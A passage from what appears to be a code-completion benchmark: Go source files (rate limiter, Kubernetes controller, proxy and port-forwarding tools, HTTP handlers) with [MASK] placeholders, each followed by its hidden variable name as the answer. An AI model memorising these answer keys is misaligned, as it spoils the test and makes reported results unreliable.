*LegacyLogEmitterContract) EmitLogIntMultiIndexed(ints int, ints2 int, [MASK] int) (*types.Transaction, error) { opts, err := e.client.TransactionOpts(e.client.GetDefaultWallet()) if err != nil { return nil, err } tx, err := e.instance.EmitLog4(opts, big.NewInt(int64(ints)), big.NewInt(int64(ints2)), big.NewInt(int64( [MASK] ))) if err != nil { return nil, err } return tx, e.client.ProcessTransaction(tx) } func (e *LegacyLogEmitterContract) EmitLogStrings(strings []string) (*types.Transaction, error) { opts, err := e.client.TransactionOpts(e.client.GetDefaultWallet()) if err != nil { return nil, err } tx, err := e.instance.EmitLog3(opts, strings) if err != nil { return nil, err } return tx, e.client.ProcessTransaction(tx) } func (e *LegacyLogEmitterContract) EmitLogInt(payload int) (*types.Transaction, error) { return e.EmitLogInts([]int{payload}) } func (e *LegacyLogEmitterContract) EmitLogIntIndexed(payload int) (*types.Transaction, error) { return e.EmitLogIntsIndexed([]int{payload}) } func (e *LegacyLogEmitterContract) EmitLogString(strings string) (*types.Transaction, error) { return e.EmitLogStrings([]string{strings}) } func (e *LegacyLogEmitterContract) EmitLogIntsFromKey(_ []int, _ int) (*types.Transaction, error) { panic(""only Seth-based contracts support this method"") } func (e *LegacyLogEmitterContract) EmitLogIntsIndexedFromKey(_ []int, _ int) (*types.Transaction, error) { panic(""only Seth-based contracts support this method"") } func (e *LegacyLogEmitterContract) EmitLogIntMultiIndexedFromKey(_ int, _ int, _ int, _ int) (*types.Transaction, error) { panic(""only Seth-based contracts support this method"") } func (e *LegacyLogEmitterContract) EmitLogStringsFromKey(_ []string, _ int) (*types.Transaction, error) { panic(""only Seth-based contracts support this method"") } ",count 76,"package ratelimiter import ( ""context"" ""fmt"" ""github.com/go-redis/redis/v8"" ""time"" ) var limitScript = ` local strategies = ARGV local currentScore = tonumber(strategies[#strategies]) -- 当前时间戳 -- 从 strategies 中移除当前时间戳 table.remove(strategies) local results = {} for i = 1, #KEYS do local pass = true for j = 1, #strategies, 2 do local windowSize = tonumber(strategies[j]) local maxRequests = tonumber(strategies[j + 1]) local windowEnd = currentScore - windowSize local count = redis.call('ZCOUNT', KEYS[i], windowEnd, '+inf') if count >= maxRequests then pass = false break end end if pass == true then table.insert(results, 1) redis.call('ZADD', KEYS[i], currentScore, 'request:' .. currentScore) else table.insert(results, 0) end end return results ` var clearScript = ` local expireTime = tonumber(ARGV[1]) local curTime = tonumber(ARGV[2]) for i = 1, #KEYS do redis.call('EXPIRE', KEYS[i], expireTime) redis.call('ZREMRANGEBYSCORE', KEYS[i], '-inf', curTime - expireTime - 1) end ` type StrategyConf struct { n int64 //每n秒 x int64 //最多x次 } type RateLimiter struct { client *redis.Client key []string expiration int64 strategies []*StrategyConf } func NewRateLimiter(client *redis.Client, key string) *RateLimiter { return &RateLimiter{ client: client, key: []string{key}, } } func NewMultiRateLimiter(client *redis.Client, key []string) *RateLimiter { return &RateLimiter{ client: client, key: key, } } func SetExpiration(duration int64) func(r *RateLimiter) { return func(r *RateLimiter) { r.expiration = duration } } func AddLimitConf(n, x int64) func(r *RateLimiter) { return func(r *RateLimiter) { r.strategies = append(r.strategies, &StrategyConf{ n: n, x: x, }) } } func (r *RateLimiter) Setting(opt ...func(r *RateLimiter)) *RateLimiter { for _, o := range opt { o(r) } return r } func (r *RateLimiter) Allow(ctx context.Context) (bool, error) { rs, err := r.AllowMulti(ctx) if err != nil { return false, err } return rs[r.key[0]], nil } func (r *RateLimiter) AllowMulti(ctx context.Context) (map[string]bool, error) { rs := make(map[string]bool, len(r.key)) if len(r.strategies) == 0 { for _, key := range r.key { rs[key] = true } return rs, nil } strategies := make([]interface{}, 0, len(r.strategies)*2+1) // 计算最长超时时间,默认以频控配置最长的时间为准,一般这就够用 var maxExp int64 if r.expiration > 0 { maxExp = r.expiration } else { // 整理传给lua的args,变成一维数组,n,x,n,x这样结构 for _, c := range r.strategies { strategies = append(strategies, c.n, c.x) if c.n > maxExp { maxExp = c.n } } } // 调用Lua脚本 strategies = append(strategies, time.Now().Unix()) result, err := r.client.Eval(ctx, limitScript, r.key, strategies...).Result() if err != nil { return rs, err } [MASK] , ok := result.([]interface{}) if !ok { return rs, fmt.Errorf(""redis result type wrong"") } needClearKey := make([]string, 0, len(r.key)) for i, key := range r.key { allow := [MASK] [i].(int64) == 1 rs[key] = allow if allow { needClearKey = append(needClearKey, key) } } //清掉过期的key并给key一个过期时间,防止key遗留过久 go func(ctx context.Context) { if len(needClearKey) == 0 { return } _, _ = r.client.Eval(ctx, clearScript, needClearKey, maxExp, time.Now().Unix()).Result() }(context.WithoutCancel(ctx)) return rs, nil } ",formatRs 77,"package main import ( ""os"" ""github.com/adrg/xdg"" ""github.com/alexflint/go-arg"" ""github.com/charmbracelet/log"" ) var CONFIG_PATH = xdg.ConfigHome + ""/distantroom"" var args struct { Debug bool `arg:""-d, --debug"" help:""sets log level to debug""` } var Error = ""[-]"" var Warn = ""[!]"" var Info = ""[+]"" var Debug = ""[*]"" var Trace = ""[$]"" func main() { arg.MustParse(&args) // Inits Logging initMain() _, err := parseProfile(CONFIG_PATH + ""/test.toml"") if err != nil { panic(err) } } func initMain() { [MASK] := log.New(os.Stderr) if args.Debug { [MASK] .SetReportCaller(true) [MASK] .SetLevel(log.DebugLevel) } else { [MASK] .SetLevel(log.InfoLevel) } log.SetDefault( [MASK] ) if err := os.MkdirAll(CONFIG_PATH, 0740); err != nil { log.Fatal(""Failed to create Configuration Directory"", ""error"", err) } } ",logger 78,"/* Copyright 2025 . Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controller import ( ""context"" ""fmt"" ""time"" ""github.com/MarcAntoineRaymond/gomenhashai/internal/helpers"" ""github.com/MarcAntoineRaymond/gomenhashai/internal/metrics"" ""github.com/go-logr/logr"" corev1 ""k8s.io/api/core/v1"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" ""sigs.k8s.io/controller-runtime/pkg/client"" ) type PodInitializer struct { Client client.Client Logger logr.Logger } func (r *PodInitializer) Start(ctx context.Context) error { startTimeout := helpers.CONFIG.ExistingPods.StartTimeout retryTimeout := helpers.CONFIG.ExistingPods.RetryTimeout maxRetries := helpers.CONFIG.ExistingPods.Retries time.Sleep(time.Duration(startTimeout) * time.Second) r.Logger.Info(""[🐾IntegrityPatrol] investigate existing pods 🔍"") var podList corev1.PodList if err := r.Client.List(ctx, &podList); err != nil { return err } pods := podList.Items [MASK] := 0 // Loop until list is empty as error can occur we may need to retry deleting/updating pods on unexpected failure for len(pods) > 0 && [MASK] < maxRetries { var remaining []corev1.Pod for _, pod := range pods { r.Logger.Info(""Process pod"", ""name"", pod.Name) updateOpts := &client.UpdateOptions{ FieldManager: ""gomenhashai"", } if !helpers.CONFIG.ExistingPods.UpdateEnabled { updateOpts.DryRun = []string{""All""} } if err := r.Client.Update(ctx, &pod, updateOpts); err != nil { // If forbidden, it is denied by the webhook if apierrors.IsForbidden(err) { r.Logger.Info(""[🍣GomenHashai!] this pod is forbidden and will be gently offboarded ☁️✂️ Sayonara, pod-san."", ""name"", pod.Name) if helpers.CONFIG.ExistingPods.DeleteEnabled { if err := r.Client.Delete(ctx, &pod); err != nil { if apierrors.IsNotFound(err) { r.Logger.Info(""[🐾IntegrityPatrol] cannot find the pod to delete, it is already gone"", ""name"", pod.Name) continue } r.Logger.Error(err, ""[🐾IntegrityPatrol] is embarrassed, an error occurred when deleting pod 😶"", ""name"", pod.Name) remaining = append(remaining, pod) continue } metrics.GomenhashaiDeleted.Inc() } } else { r.Logger.Error(err, ""[🐾IntegrityPatrol] unexpected error occurred when updating pod, even samurai stumble sometimes ⛩️"", ""name"", pod.Name) remaining = append(remaining, pod) continue } } else { r.Logger.Info(""[🍣GomenHashai] nods respectfully. Pod integrity confirmed."", ""name"", pod.Name) } r.Logger.Info(""[🐾IntegrityPatrol] finished processing pod"", ""name"", pod.Name) } pods = remaining [MASK] ++ time.Sleep(time.Duration(retryTimeout) * time.Second) } if len(pods) > 0 { podNames := []string{} for _, pod := range pods { podNames = append(podNames, pod.Name) } return fmt.Errorf(""[🐾IntegrityPatrol] failed to process some pods: %v"", podNames) } r.Logger.Info(""[🐾IntegrityPatrol] existing pods investigation complete 🍜"") return nil } ",retries 79,"package main import ( ""context"" ""testing"" ""github.com/aws/aws-lambda-go/events"" ""github.com/jcmturner/ddns/awsclient"" ""github.com/stretchr/testify/assert"" ) const ( TestUserName = ""testuser"" AuthHeaderValue = ""Basic dGVzdHVzZXI6c2VjcmV0U3RyaW5nVmFsdWU="" AuthHeaderInvalidUser = ""Basic aW52YWxpZDpzZWNyZXRTdHJpbmdWYWx1ZQ=="" AuthHeaderInvalidPasswd = ""Basic dGVzdHVzZXI6aW52YWxpZA=="" ) func TestGetPasswd(t *testing.T) { [MASK] := new(awsclient.MockSSM) passwd, err := getPasswd( [MASK] , ""/store/location"") if err != nil { t.Errorf(""error getting password: %v"", err) } if passwd != awsclient.MockParamValue { t.Errorf(""incorrect value of password"") } } func TestParseBasicHeaderValue(t *testing.T) { u, p, err := parseBasicHeaderValue(AuthHeaderValue) if err != nil { t.Errorf(""failed to parse auth header"") } if u != TestUserName { t.Errorf(""username is not correct"") } if p != awsclient.MockParamValue { t.Errorf(""password is not correct"") } } func TestHandleAuth(t *testing.T) { user = TestUserName passwd = awsclient.MockParamValue var ctx context.Context e := events.APIGatewayCustomAuthorizerRequest{ Type: ""TOKEN"", AuthorizationToken: AuthHeaderValue, MethodArn: ""test:method:arn"", } resp, err := handleAuth(ctx, e) if err != nil { t.Fatalf(""error is not nil for valid token: %v"", err) } assert.Equal(t, TestUserName, resp.PrincipalID, ""Principal in response not correct"") assert.Equal(t, ""2012-10-17"", resp.PolicyDocument.Version, ""Poilcy document version not as expected"") assert.True(t, len(resp.PolicyDocument.Statement) > 0, ""No statements in policy"") e.AuthorizationToken = AuthHeaderInvalidPasswd _, err = handleAuth(ctx, e) assert.NotNil(t, err, ""Error should not be nil for invalid password"") e.AuthorizationToken = AuthHeaderInvalidUser _, err = handleAuth(ctx, e) assert.NotNil(t, err, ""Error should not be nil for invalid user"") } ",ssmCl 80,"package main import ( ""github.com/ekyoung/gin-nice-recovery"" ""github.com/gin-gonic/gin"" ""github.com/maczh/mgin/middleware/cors"" ""github.com/maczh/mgin/middleware/postlog"" ""github.com/maczh/mgin/middleware/trace"" ""github.com/maczh/mgin/models"" ""github.com/maczh/mgrmq/controller"" _ ""github.com/maczh/mgrmq/docs"" swaggerFiles ""github.com/swaggo/files"" ginSwagger ""github.com/swaggo/gin-swagger"" ""net/http"" ) /* * 统一路由映射入口 */ func setupRouter() *gin.Engine { // Disable Console Color // gin.DisableConsoleColor() [MASK] := gin.Default() //添加跟踪日志 [MASK] .Use(trace.TraceId()) //设置接口日志 [MASK] .Use(postlog.RequestLogger()) //添加跨域处理 [MASK] .Use(cors.Cors()) //添加swagger支持 [MASK] .GET(""/docs/*any"", ginSwagger.WrapHandler(swaggerFiles.Handler)) //处理全局异常 [MASK] .Use(nice.Recovery(recoveryHandler)) //设置404返回的内容 [MASK] .NoRoute(func(c *gin.Context) { c.JSON(http.StatusOK, models.Error(-1, ""404 Not Found"")) }) var result models.Result[any] //添加所需的路由映射 //消息处理 [MASK] .POST(""/msg/send"", func(c *gin.Context) { result = controller.SendMessage(c) c.JSON(http.StatusOK, result) }) [MASK] .POST(""/msg/resend"", func(c *gin.Context) { result = controller.ReSendFailedMessage(c) c.JSON(http.StatusOK, result) }) return [MASK] } func recoveryHandler(c *gin.Context, err interface{}) { c.JSON(http.StatusOK, models.Error(-1, ""System Error"")) } ",engine 81,"package main import ( ""context"" ""strconv"" ""strings"" ""time"" ""github.com/mchmarny/gcp-metrics/pkg/metric"" ""github.com/pkg/errors"" gha ""github.com/sethvargo/go-githubactions"" ) var ( version = ""v0.0.1-default"" int64Base = 10 ) func main() { a := gha.WithFieldsMap(map[string]string{ ""version"": version, ""build"": time.Now().UTC().Format(time.RFC3339), }) a.Infof(""starting action"") defer a.Infof(""action completed"") ctx, err := a.Context() if err != nil { a.Fatalf(""error getting context: %s"", err) } labels := map[string]string{ ""action"": ctx.Action, ""actor"": ctx.Actor, ""event"": ctx.EventName, ""job"": ctx.Job, ""ref"": parseTag(ctx.Ref), ""repo"": ctx.Repository, ""run"": strconv.FormatInt(ctx.RunID, int64Base), ""sha"": ctx.SHA, ""workflow"": ctx.Workflow, } m, v, err := count(a.GetInput(""project""), a.GetInput(""metric""), a.GetInput(""value""), labels) if err != nil { a.Fatalf(""error counting metric: %s"", err) } a.SetOutput(""metric"", m) a.SetOutput(""value"", strconv.FormatInt(v, int64Base)) } func count(project, name, val string, labels map[string]string) (string, int64, error) { if project == """" { return """", 0, errors.New(""project is required"") } if name == """" { return """", 0, errors.New(""metric is required"") } if val == """" { return """", 0, errors.New(""value is required"") } metricVal, err := strconv.ParseInt(val, 10, 64) if err != nil { return """", 0, errors.Wrapf(err, ""error parsing value: %s"", val) } counter, err := getCounter(project) if err != nil { return """", 0, err } metricType := metric.MakeMetricType(name) if err := counter.Count(context.Background(), metricType, metricVal, labels); err != nil { return """", 0, errors.Wrapf(err, ""error counting metric: %s with value: %d"", metricType, metricVal) } return metricType, metricVal, nil } func getCounter( [MASK] string) (metric.Counter, error) { if [MASK] == """" { return nil, errors.New(""project is required"") } if [MASK] == ""test"" { return metric.NewConsoleCounter(), nil } return metric.New( [MASK] ) } func parseTag(v string) string { if v == """" { return ""main"" } p := strings.Split(v, ""/"") if len(p) == 0 { return ""main"" } return p[len(p)-1] } ",projectID 82,"package main import ( ""log"" ""os"" ""sync"" ""github.com/mrbuk/mitm/server"" ""github.com/mrbuk/ntt/shared"" ) func main() { log.SetOutput(os.Stdout) httpServerPort := shared.GetOsEnv(""MITM_HTTP_SERVER_PORT"", ""10080"") httpsServerPort := shared.GetOsEnv(""MITM_HTTPS_SERVER_PORT"", ""10443"") httpTargetScheme := shared.GetOsEnv(""MITM_HTTP_TARGET_SCHEME"", ""http"") httpsTargetScheme := shared.GetOsEnv(""MITM_HTTPS_TARGET_SCHEME"", ""https"") target := shared.GetOsEnv(""MITM_TARGET"", ""localhost:443"") certificate := shared.GetOsEnv(""MITM_CERT"", ""./cert.pem"") key := shared.GetOsEnv(""MITM_KEY"", ""./key.pem"") var wg sync.WaitGroup wg.Add(2) go func() { defer wg.Done() httpServerAddr := "":"" + httpServerPort log.Println(""Starting HTTP server on "", httpServerAddr) p := server.ProxyServer{ Scheme: httpTargetScheme, ListenHostPort: httpServerAddr, TargetHostPort: target, } httpProxy := p.NewHttpServer() log.Fatal(httpProxy.ListenAndServe()) }() go func() { defer wg.Done() // ssl [MASK] := "":"" + httpsServerPort log.Println(""Starting HTTPS server on "", [MASK] ) p := server.ProxyServer{ Scheme: httpsTargetScheme, ListenHostPort: [MASK] , TargetHostPort: target, } httpsProxy := p.NewHttpServer() log.Fatal(httpsProxy.ListenAndServeTLS(certificate, key)) }() wg.Wait() } ",httpsServerAddr 83,"package property type Property struct { squareFootage int lighting string price float64 rooms int bathrooms int location []int description string ammenities map[string]bool } func (p *Property) SetSquareFootage(squareFootage int) { p.squareFootage = squareFootage } func (p *Property) SetLighting(lighting string) { p.lighting = lighting } func (p *Property) SetPrice(price float64) { p.price = price } func (p *Property) SetRooms(rooms int) { p.rooms = rooms } func (p *Property) SetBathrooms(bathrooms int) { p.bathrooms = bathrooms } func (p *Property) SetLocation(location []int) { p.location = location } func (p *Property) SetDescription(description string) { p.description = description } func (p *Property) SetAmmenities(ammenities map[string]bool) { p.ammenities = ammenities } func (p *Property) GetSquareFootage() int { return p.squareFootage } func (p *Property) GetLighting() string { return p.lighting } func (p *Property) GetPrice() float64 { return p.price } func (p *Property) GetRooms() int { return p.rooms } func (p *Property) GetBathrooms() int { return p.bathrooms } func (p *Property) GetLocation() []int { return p.location } func (p *Property) GetDescription() string { return p.description } func (p *Property) GetAmmenities() map[string]bool { return p.ammenities } func (p *Property) GetAmmenity( [MASK] string) bool { return p.ammenities[ [MASK] ] } ",ammenity 84,"package main import ( ""context"" ""flag"" ""github.com/zeromicro/go-zero/core/conf"" ""github.com/zeromicro/go-zero/core/logx"" ""github.com/zeromicro/go-zero/rest"" ""github.com/zgsm-ai/codebase-indexer/internal/config"" ""github.com/zgsm-ai/codebase-indexer/internal/handler"" ""github.com/zgsm-ai/codebase-indexer/internal/svc"" ""net/http"" ) var configFile = flag.String(""f"", ""etc/conf.yaml"", ""the config file"") func main() { flag.Parse() var c config.Config conf.MustLoad(*configFile, &c, conf.UseEnv()) logx.MustSetup(c.Log) logx.DisableStat() server := rest.MustNewServer(c.RestConf, rest.WithFileServer(""/swagger/"", http.Dir(""api/docs/""))) defer server.Stop() serverCtx, cancelFunc := context.WithCancel(context.Background()) defer cancelFunc() [MASK] , err := svc.NewServiceContext(serverCtx, c) defer [MASK] .Close() if err != nil { panic(err) } handler.RegisterHandlers(server, [MASK] ) logx.Infof(""==>Started server at %s:%d"", c.Host, c.Port) server.Start() } ",svcCtx 85,"package api import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""time"" ""github.com/gorilla/mux"" ""github.com/zhaoweiguo/log"" ) type Response map[string]interface{} const ( DefaultLimit int = 100 MaxLimit int = 10000 MaxBatchSize int = 1000 ) func MakeHandler(fn func(http.ResponseWriter, *http.Request, map[string]string) (interface{}, error)) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { // we'll measure time the request took start := time.Now() // set content type appropriate for JSON responses w.Header().Set(""Content-Type"", ""application/json; charset=utf-8"") // parse form for POST requests so handler functions don't have to if r.Method == ""POST"" { r.ParseMultipartForm(0) } else { r.ParseForm() } // pass parsed URL params into a handler function response, err := fn(w, r, mux.Vars(r)) // if an error returned, return an appropriate status code if err != nil { ReplyError(w, err) log.Errorf(""[-] Request failed (%v): %v %v %v - took %v"", err, r.Method, r.URL, r.Form, time.Since(start)) } else { ReplySuccess(w, response) log.Infof(""[+] Request completed: %v %v %v - took %v"", r.Method, r.URL, r.Form, time.Since(start)) } } } func MakeRawHandler(fn func(http.ResponseWriter, *http.Request, map[string]string, []byte) (interface{}, error)) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { // we'll measure time the request took start := time.Now() // set content type appropriate for JSON responses w.Header().Set(""Content-Type"", ""application/json; charset=utf-8"") body, err := ioutil.ReadAll(r.Body) if err != nil { ReplyError(w, fmt.Errorf(""[-] Failed to read request body: %s"", err)) return } response, err := fn(w, r, mux.Vars(r), body) // if an error returned, return an appropriate status code if err != nil { ReplyError(w, err) log.Errorf(""[-] Request failed (%v): %v %v %v - took %v"", err, r.Method, r.URL, r.Form, time.Since(start)) } else { ReplySuccess(w, response) log.Infof(""[+] Request completed: %v %v %v - took %v"", r.Method, r.URL, r.Form, time.Since(start)) } } } func ReplyError(w http.ResponseWriter, err error) { var response Response var [MASK] int switch err.(type) { case GenericAPIError, MissingFieldError, InvalidFormatError, InvalidParameterError: response = Response{""message"": err.Error()} [MASK] = http.StatusBadRequest case NotFoundError: response = Response{""message"": err.Error()} [MASK] = http.StatusNotFound case ConflictError: response = Response{""message"": err.Error()} [MASK] = http.StatusConflict default: response = Response{""message"": ""Internal Server Error""} [MASK] = http.StatusInternalServerError } marshalled, err := json.Marshal(response) if err != nil { log.Errorf(""[-] Failed to marshal response: %v %v"", response, err) http.Error(w, ""Internal Server Error"", http.StatusInternalServerError) return } w.WriteHeader( [MASK] ) fmt.Fprintln(w, string(marshalled)) } func ReplySuccess(w http.ResponseWriter, response interface{}) { marshalled, err := json.Marshal(response) if err != nil { log.Errorf(""[-] Failed to marshal response: %v %v"", response, err) http.Error(w, ""Internal Server Error"", http.StatusInternalServerError) return } // write JSON response fmt.Fprintln(w, string(marshalled)) } ",statusCode 86,"// Copyright 2010-2022 the original author or authors. // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""encoding/binary"" ""encoding/gob"" ""flag"" ""fmt"" ""net"" ""os"" ""os/signal"" ""sync"" ""syscall"" ""time"" ) const VERSION = ""v1.0.2"" func main() { flag.Usage = func() { fmt.Printf(`sc: a proxy forwarding tool %s usage: netwnork topology: 192.168.3.11 ----> 172.16.58.3 192.168.3.11 <-x-- 172.16.58.3 172.16.31.10 ----> 172.16.58.3 172.16.31.10 <-x-- 172.16.58.3 172.16.31.10 --x-> 192.168.3.11 172.16.31.10 <-x-- 192.168.3.11 except access: 172.16.31.10 ----> 192.168.3.11:8080 commands: [172.16.58.3]: sc -a foobar 8888 9999 [192.168.3.11]: sc -a foobar -c 172.16.58.3:9999 192.168.3.11:8080 [172.16.31.10]: curl 172.16.58.3:8888 --------- netwnork topology: 192.168.3.11 --x-> 172.16.58.3:8888 192.168.3.11 ----> 172.16.58.3:8080 except access: 192.168.3.11 ----> 172.16.58.3:8888 commands: [172.16.58.3]: sc -p 8080 172.16.58.3:8888 [192.168.3.11]: curl 172.16.58.3:8080 `, VERSION) flag.PrintDefaults() } p := flag.Bool(""p"", false, ""proxy mode"") c := flag.Bool(""c"", false, ""client side"") u := flag.Bool(""u"", false, ""udp"") v := flag.Bool(""v"", false, ""version"") auth := flag.String(""a"", """", ""password for authentication, required"") flag.Parse() if *v { fmt.Println(VERSION) return } if len(flag.Args()) != 2 { flag.Usage() return } network := ""tcp"" if *u { network = ""udp"" } if *p { proxy(flag.Arg(0), flag.Arg(1), network) } else { if *auth == """" { fmt.Printf(""auth is empty\n"") return } if *c { client(*auth, flag.Arg(0), flag.Arg(1), network) } else { server(*auth, flag.Arg(0), flag.Arg(1), network) } } [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] , syscall.SIGINT, syscall.SIGTERM) <- [MASK] } type Message struct { From string Content []byte } func (p *Message) String() string { return fmt.Sprintf(""[%s] %s"", p.From, string(p.Content)) } func server(auth string, in string, out string, network string) { m := &sync.Map{} inch := make(chan *Message) // server to client outch := make(chan *Message) // client to server go func() { // server-client inner communication l, err := net.Listen(network, fmt.Sprintf("":%s"", out)) if err != nil { panic(err) } defer l.Close() for { conn, err := l.Accept() if err != nil { continue } bts := make([]byte, 4) _, err = conn.Read(bts) if err != nil { conn.Close() continue } lenth := binary.BigEndian.Uint32(bts) bts = make([]byte, lenth) _, err = conn.Read(bts) if err != nil { conn.Close() continue } if string(bts) != auth { fmt.Printf(""from: %s, auth not match: %s\n"", conn.RemoteAddr().String(), string(bts)) conn.Write(authBytes(""no"")) conn.Close() continue } if err != nil { conn.Close() continue } _, err = conn.Write(authBytes(""ok"")) if err != nil { conn.Close() continue } fmt.Println(""connection successful."") innerHandle(inch, outch, conn) } }() go func() { l, err := net.Listen(network, fmt.Sprintf("":%s"", in)) if err != nil { panic(err) } defer l.Close() for { conn, err := l.Accept() if err != nil { continue } serverHandle(outch, conn, m) } }() go func() { for { message := <-inch from := message.From if conn, ok := m.Load(from); ok { _, err := conn.(net.Conn).Write(message.Content) if err != nil { conn.(net.Conn).Close() m.Delete(from) } } } }() } func client(auth string, in string, out string, network string) { m := &sync.Map{} inch := make(chan *Message) // server to client outch := make(chan *Message) // client to server go func() { for { // server-client inner communication conn, err := net.Dial(network, in) if err != nil { time.Sleep(time.Second * 5) continue } _, err = conn.Write(authBytes(auth)) if err != nil { conn.Close() time.Sleep(time.Second * 5) continue } bts := make([]byte, 4) _, err = conn.Read(bts) if err != nil { conn.Close() time.Sleep(time.Second * 5) continue } lenth := binary.BigEndian.Uint32(bts) bts = make([]byte, lenth) _, err = conn.Read(bts) if err != nil { conn.Close() time.Sleep(time.Second * 5) continue } if string(bts) != ""ok"" { fmt.Printf(""to: %s, auth not match: %s\n"", in, auth) conn.Close() return } fmt.Println(""connection successful."") innerHandle(inch, outch, conn) } }() clientHandle(outch, inch, network, out, m) } // read to in, from out to write func innerHandle(in chan *Message, out chan *Message, conn net.Conn) { enc := gob.NewEncoder(conn) dec := gob.NewDecoder(conn) stop := make(chan bool, 2) wait := make(chan bool, 2) go func() { for { select { case <-stop: return default: var message Message err := dec.Decode(&message) if err != nil { conn.Close() stop <- true wait <- true return } // fmt.Printf(""in: %s\n"", message) in <- &message } } }() go func() { for { select { case message := <-out: err := enc.Encode(message) if err != nil { conn.Close() stop <- true wait <- true return } case <-stop: return } } }() <-wait } // read to in func serverHandle(in chan *Message, conn net.Conn, m *sync.Map) { from := conn.RemoteAddr().String() m.Store(from, conn) go func() { for { buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { conn.Close() m.Delete(from) return } in <- &Message{From: from, Content: buffer[:n]} } }() } // read to in, from out to write func clientHandle(in chan *Message, out chan *Message, network string, address string, m *sync.Map) { go func() { for { message := <-out if conn, ok := m.Load(message.From); ok { _, err := conn.(net.Conn).Write(message.Content) if err == nil { continue } } conn, err := net.Dial(network, address) if err != nil { continue } _, err = conn.Write(message.Content) if err != nil { continue } go func() { for { buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { conn.Close() m.Delete(message.From) return } in <- &Message{From: message.From, Content: buffer[:n]} } }() m.Store(message.From, conn) } }() } func authBytes(auth string) []byte { bts := make([]byte, 4) binary.BigEndian.PutUint32(bts, uint32(len(auth))) bts = append(bts, []byte(auth)...) return bts } ",quit 87,"/* Copyright 2025 Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmd import ( ""fmt"" ""github.com/spf13/cobra"" ""gopkg.in/yaml.v3"" ""os"" ""path/filepath"" ) type initFlags struct { path string } type devnotesConfig struct { NotesPath string `yaml:""notesPath""` FileExtension string `yaml:""fileExtension""` } // helper function to parse flags with error handling func getInitFlags(cmd *cobra.Command) (initFlags, error) { var flags initFlags var err error flags.path, err = cmd.Flags().GetString(""path"") if err != nil { return flags, fmt.Errorf(""failed to parse --path flag: %w"", err) } return flags, nil } var initCmd = &cobra.Command{ Use: ""init"", Short: ""Initialise devnotes in the current directory"", Long: `The 'init' command initialises a devnotes config in the current directory. You can specify the notePath for the config file using --path`, RunE: func(cmd *cobra.Command, args []string) error { flags, err := getInitFlags(cmd) if err != nil { return err } projectRoot, err := os.Getwd() if err != nil { return fmt.Errorf(""could not get current working directory: %w"", err) } notePath := flags.path if notePath == """" { notePath = ""devnotes"" // default } // Expand ~ if len(notePath) >= 2 && notePath[:2] == ""~/"" { home, err := os.UserHomeDir() if err != nil { return fmt.Errorf(""could not resolve home directory: %w"", err) } notePath = filepath.Join(home, notePath[2:]) } // Make path absolute notesAbsPath := notePath if !filepath.IsAbs(notesAbsPath) { notesAbsPath = filepath.Join(projectRoot, notesAbsPath) } // Check existence [MASK] , err := os.Stat(notesAbsPath) if os.IsNotExist(err) { // Create the directory if it doesn't exist if err := os.MkdirAll(notesAbsPath, 0755); err != nil { return fmt.Errorf(""failed to create notes directory: %w"", err) } fmt.Printf(""Created notes directory at %s\n"", notesAbsPath) } else if err != nil { return fmt.Errorf(""error checking notes directory: %w"", err) } else if ! [MASK] .IsDir() { return fmt.Errorf(""path exists and is not a directory: %s"", notesAbsPath) } // Write config config := devnotesConfig{ NotesPath: notesAbsPath, FileExtension: "".md"", // default to markdown } data, err := yaml.Marshal(&config) if err != nil { return fmt.Errorf(""failed to marshal config: %w"", err) } configFilePath := filepath.Join(projectRoot, "".devnote.yaml"") if err := os.WriteFile(configFilePath, data, 0644); err != nil { return fmt.Errorf(""failed to write config file: %w"", err) } fmt.Printf(""Initialised devnotes config at %s\n"", configFilePath) return nil }, } func init() { initCmd.Flags().StringP(""path"", ""p"", """", ""Define a custom path for your devnotes folder."") rootCmd.AddCommand(initCmd) } ",info 88,"package main import ( ""archive/zip"" ""bytes"" ""context"" ""crypto/sha256"" _ ""embed"" ""encoding/base64"" ""encoding/hex"" ""fmt"" ""io"" ""net/http"" ""os"" ""slices"" ""strings"" ""golang.org/x/sync/errgroup"" ""github.com/vic/ntv/packages/flake"" ""github.com/vic/ntv/packages/search"" ""github.com/vic/ntv/packages/search_spec"" ) //go:embed use_nix_tools.sh var use_nix_tools_bash string func main() { http.HandleFunc(""/use_nix_tools.sh"", HandleUseNixToolsBash) http.HandleFunc(""/use_nix_tools.sh/"", HandleUseNixToolsBash) http.HandleFunc(""/flake.nix/"", HandleFlakeNix) http.HandleFunc(""/flake.zip/"", HandleFlakeZip) http.HandleFunc(""/default.nix/"", HandleDefaultNix) http.HandleFunc(""/default.zip/"", HandleDefaultZip) http.HandleFunc(""/nixpkgs-sri/"", HandleSri) fs := http.FileServer(http.Dir(""www/"")) http.Handle(""/"", http.StripPrefix(""/"", fs)) addr := os.ExpandEnv("":$PORT"") if addr == "":"" { addr = "":8080"" } fmt.Println(""Listening on"", addr) http.ListenAndServe(addr, nil) } func getParts(path string) []string { parts := strings.Split(path, ""/"") parts = slices.DeleteFunc(parts, func(p string) bool { return len(strings.TrimSpace(p)) == 0 }) return parts } func HandleUseNixToolsBash(w http.ResponseWriter, r *http.Request) { werr := func(err error) { 